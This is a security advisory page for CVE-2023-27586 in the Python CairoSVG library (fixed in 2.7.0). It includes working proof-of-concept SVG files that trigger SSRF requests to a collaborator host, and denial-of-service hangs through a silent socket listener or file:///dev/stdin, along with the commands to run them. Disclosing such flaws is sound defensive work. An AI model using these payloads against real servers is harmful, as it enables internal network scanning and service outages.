CairoSVG improperly processes SVG files loaded from external resources
SSRF vulnerability
Summary
When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
Details
A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server.
PoC
- Generating malicious svg file: 1.1 CairoSVG_exploit.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
<style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
<style type="text/css">
<![CDATA[
@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
rect { fill: red; stroke: blue; stroke-width: 3 }
]]>
</style>
</svg>1.2 CairoSVG_exploit_2.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
<image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
</pattern>
</defs>
<path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>1.3 CairoSVG_exploit_3.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>-
Run some commands:
$ python3 -m cairosvg CairoSVG_exploit.svg -f png$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png -
See result requests in Burp Collaborator:
DOS vulnerability with SSTI
Summary
When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
PoC
- Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://192.168.56.1:1234/" />
</svg>- In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()- Run commands:
$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png(without timeout server will hang forever)
DOS vulnerability with stdin file descriptor
Summary
Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
PoC
- Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="file:///dev/stdin" />
</svg>- In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()- Run commands:
$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | cairosvg | < 2.7.0 | 2.7.0 |
Referencias
- https://github.com/Kozea/CairoSVG/releases/tag/2.7.0
- https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv
- https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255
- https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53
- https://nvd.nist.gov/vuln/detail/CVE-2023-27586
- https://github.com/Kozea/CairoSVG
- https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2023-9.yaml
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L- Debilidad (CWE)
CWE-20, CWE-918- Plataforma
- Python (PyPI)
- Paquete
cairosvg- Publicada
- 20.03.2023
- Actualizado
- 11.10.2026 15:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2023-9 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-rwmf-w63j-p7gv - CC BY 4.0
Historial de vulnerabilidades: cairosvg
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 4
- Primera → última
- 01.2021 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 4
Divulgaciones por año
- 2021: 1
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 2
-
CairoSVG improperly processes SVG files loaded from external resources esta entrada
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